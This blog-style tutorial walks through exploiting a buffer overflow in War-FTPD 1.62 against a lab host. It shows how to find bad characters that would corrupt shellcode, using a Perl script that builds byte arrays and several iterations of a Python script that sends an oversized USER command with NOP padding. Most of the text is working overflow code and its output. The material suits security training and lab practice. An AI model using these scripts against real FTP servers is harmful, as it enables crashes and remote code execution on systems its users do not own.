Find Bad Character in Buffer Overflow

When I create payload I get corrupted payload when sending to the buffer. This is because either the transmission protocol, or the end application can be sensitive to "bad characters" which break my shellcode.
How I know the "bad characters" so I can remove it from my payload and make it work..?
The application I use to debugging is "Immunity Debugger" and the application I do debug is "War-FTPD 1.62" so I will use remote exploit, and the IP target is 192.168.56.2

First, I need to generate the hex character contain \x00 to \xff so, how to do that..?
Create perl script and name it generatecodes.pl
#!/usr/bin/perl
# generatecodes.pl
# Version 0.1

use Getopt::Long;

if ($ARGV[0]) {
    @knownbad = split ',', $ARGV[0];
    foreach $bad (@knownbad) {
        $bad = hex($bad);
    }
}

if (! $ARGV[1]) {
    $split = 15; # split at 15 characters if not told otherwise
} else {
    $split = $ARGV[1];
}

$count=0;
for ($a = 0; $a <= 255; $a++) {
    $match = 0;
    foreach $knownbad (@knownbad) {
        if ($knownbad eq $a) {$match = 1} 
    }
    if (! $match) { 
        if (! $count) {print chr(34); }
        print '\x' . sprintf("%02x", $a); 
        $count++;
    }
    
    if ( (int($count/$split) eq $count/$split ) && ($count)) {print chr(34) . "\n"; $count = 0; }
}

if ( (int($count/$split) ne $count/$split ) && ($count)) {print chr(34) . "\n";}


sub help{
    print "This script generates a c style buffer of all characters from 0 to 255, except those specified in a comma seperated list provided as parameter one.  Used to generate a list of characters to enter into a exploit to test for bad characters. \n\n" .
    "Parameter one is optional and should contain comma separated hexadecimal bytes in the format 00,0a,0d and any characters provided will not be listed in the output.\n\n" .
    "Parameter two is also optional and specifies the interval at which new lines are interspersed in the output.  If not specified the default is a new line every 15 characters.\n\n";
    exit;
}



then make it executable and run it ./generatecodes.pl 00
root@bt:~/tools# ./generatecodes.pl 00
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e"
"\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d"
"\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c"
"\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b"
"\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a"
"\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69"
"\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78"
"\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87"
"\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96"
"\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5"
"\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4"
"\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3"
"\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2"
"\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1"
"\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
root@bt:~/tools#

As you mention I remove the \x00 character, its because that is default bad character, so the rest is \x01 to \xFF
Then I implant the first line to my fuzzer scipt. Why I implant just one line..? its for make easier and more accurate to find the bad character. I'm using python for my fuzzer here
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ip   = '192.168.56.2' 
port = 21
junk = '\x41'*485
junk += '\x42'*8
junk += '\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f'
junk += '\x90'*(1000-len(junk))
s.connect((ip,port))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+junk+'\r\n')
data=s.recv(1024)
s.send('PASS PASSWORD'+'\r\n')
s.close()
print("Finish")

Then debug the program and run the fuzzer script.

As you can see after \x09 is suppose to be \x0a but it give me \x20 it means \x0a is bad character. so I remove \x0a from fuzzer script. the fuzzer script suppose to be looke like this now
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ip   = '192.168.56.2'
port = 21
junk = '\x41'*485
junk += '\x42'*8
junk += '\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f'
junk += '\x90'*(1000-len(junk))
s.connect((ip,port))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+junk+'\r\n')
data=s.recv(1024)
s.send('PASS PASSWORD'+'\r\n')
s.close()
print("Finish")

Then debug and run the fuzzer script again

As you see now the bad character suppose to be \x0d so I edit the fuzzer script and remove \x0d from junk
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ip   = '192.168.56.2'
port = 21
junk = '\x41'*485
junk += '\x42'*8
junk += '\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f'
junk += '\x90'*(1000-len(junk))
s.connect((ip,port))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+junk+'\r\n')
data=s.recv(1024)
s.send('PASS PASSWORD'+'\r\n')
s.close()
print("Finish")

Then debug and run the fuzzer script again

Good! there is no character bad character there, so far I got \x0a \x0d and \x00 as default bad character. Lets move to the second line of hex code. the fuzzer script
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ip   = '192.168.56.2'
port = 21
junk = '\x41'*485
junk += '\x42'*8
junk += '\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e'
junk += '\x90'*(1000-len(junk))
s.connect((ip,port))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+junk+'\r\n')
data=s.recv(1024)
s.send('PASS PASSWORD'+'\r\n')
s.close()
print("Finish")

Then debug and run the fuzzer script again

Good! there is no character bad character there, then try the 3rd line, 4th line till last line.
After I check utill the last line I got \x00 \x0a \x0d and \x40 as bad character. Then generate hex character again but with removing bad character.
root@bt:~/tools# ./generatecodes.pl 00,0a,0d,40
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11"
"\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e"
"\x3f\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e"
"\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d"
"\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c"
"\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b"
"\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a"
"\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99"
"\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8"
"\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7"
"\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6"
"\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5"
"\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4"
"\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3"
"\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
root@bt:~/tools# 

and make the fuzzer script use them all
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ip   = '192.168.56.2'
port = 21
junk = '\x41'*485
junk += '\x42'*8
junk += ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11"
"\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e"
"\x3f\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e"
"\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d"
"\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c"
"\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b"
"\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a"
"\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99"
"\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8"
"\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7"
"\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6"
"\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5"
"\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4"
"\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3"
"\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
junk += '\x90'*(1000-len(junk))
s.connect((ip,port))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+junk+'\r\n')
data=s.recv(1024)
s.send('PASS PASSWORD'+'\r\n')
s.close()
print("Finish")

Debug and run the fuzzer script

Perfect! Now I can create payload without using bad character

Leave a Reply